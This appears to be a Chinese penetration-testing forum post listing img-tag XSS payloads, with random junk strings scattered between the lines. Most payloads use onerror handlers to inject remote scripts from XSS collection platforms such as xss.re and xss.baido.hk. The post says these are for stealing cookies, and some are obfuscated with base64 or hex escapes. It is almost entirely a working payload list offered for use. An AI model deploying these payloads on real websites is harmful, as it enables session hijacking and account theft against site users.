中国网络渗透测试联盟
标题:
img标签的常用几种测试手段
[打印本页]
作者:
admin
时间:
2015-10-18 14:33
标题:
img标签的常用几种测试手段
<img src='non-exist.jpg'onerror="alert('xss')">
' C9 z8 C: L) a4 |3 ]
<img src=# onerror=alert(123)>
0 ?/ O7 C8 j4 p9 d3 L8 a
<img src=# onerror=alert(document.cookie)>
) W+ W5 x, m+ M: l& t4 C
下面是利用平台钓cookie的
1 C3 ]% d) T6 ~/ L& c; A# d2 W
<img src=x onerror=s=createElement("script");body.appendChild(s);s.src="http://xss.baido.hk/JnFrlW?1445149342";>
1 Z `. h7 U% X* ]3 ]
. {& c- V. F7 y" a* E& O$ s( A3 @5 W
( r; V" T5 T9 A* Q9 Z5 ?6 ^
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='你的js地址';>
/ G5 o5 G6 S2 R* b: I! c2 T" M' Q
<img src=x onerror=with(document)body.appendChild(document.createElement(‘script‘)).src="//xss.re/974"></img>
$ T- R( t8 w, p3 X; \: i$ u {
“><img src=x onerror=”with(document)body.appendChild(createElement(‘script’)).src=’//xss.re/974’”></img>
; n* r2 n% c5 h
<img src=1 onerror=jQuery.getScript("//xss.re/974")>
$ D/ D& y. s5 M2 a# M
<img src="#">
. j5 F5 h4 X# `, D
<img src="#">
* G9 G6 q& {3 i" y' W
<img src=‘0‘ onerror=with(document)body.appendChild(createElement(‘script‘)).src=‘/xx‘>
2 W9 f f$ R- v7 n8 k
<img src="http://fs3u.dajie.com/2013/01/05/146/13573533461773126m.jpg" border="0">
0 l( G) d1 y! N0 R. ]. ]8 Y
<img src=i onerror=eval(jQuery.getScript(‘//xss.tw/4091‘))>
. Q/ m6 F/ Y3 g- m
<img src=N onerror=eval(javascript:document.write(unescape(‘ <script src="http://xxx.js"></script>‘));)>
I$ x! Z5 B- v1 [5 S
<img src=x onerror=document.body.appendChild(document.createElement(‘script‘)).src=‘//xxx.xxx/a.js‘>
& ?" v9 _* j4 } H/ [, ]
<img src=x width="0" height="0"></img>
: h: a! J; M! P/ I- Y/ v
<img src=1 onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzLnNyYz0naHR0cHM6Ly94Lnh4ZS5sYS9WSic7Ym9keS5hcHBlbmRDaGlsZChzKQ=='))>
' O' C. a2 q$ ^8 X% k1 e7 e$ m' [
<img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.baido.hk/7OO7GQ?1510065652';>
# v* I; B+ [' S: M, K$ j
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2